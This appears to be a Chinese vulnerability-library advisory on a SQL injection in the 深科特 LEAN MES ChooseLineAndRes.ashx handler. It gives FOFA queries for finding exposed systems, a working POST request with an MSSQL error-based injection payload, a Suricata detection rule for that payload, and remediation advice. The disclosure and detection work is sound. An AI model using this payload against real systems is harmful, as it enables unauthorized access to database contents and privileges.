跳转至

深科特LEANMES-ChooseLineAndRes-sql注入

深科特LEANMES-ChooseLineAndRes-sql注入,攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

深科特

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:title="LEAN MES - 用户登录" || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"

POC/EXP:

POST /Handler/ChooseLineAndRes.ashx HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1

type=GetPDAFunction&ModelName=' and 1<db_name()--

image-20260329204211418

sonrt规则:

alert http any any -> $HOME_NET any (
    msg:"深科特LEANMES - MSSQL SQL Injection via ChooseLineAndRes.ashx";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/Handler/ChooseLineAndRes.ashx";
    http.header; content:"Content-Type: application/x-www-form-urlencoded";
    http.request_body; pcre:"/ModelName='\\s+and\\s+1<db_name\\(\\)--/i";
    metadata:
        service http,
        affected_product "深科特LEANMES系统",
        vulnerability_type "MSSQL SQL Injection",
        attack_target "database_server",
        severity "high";
    classtype:sql-injection;
    sid:1000659;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限,升级至安全版本。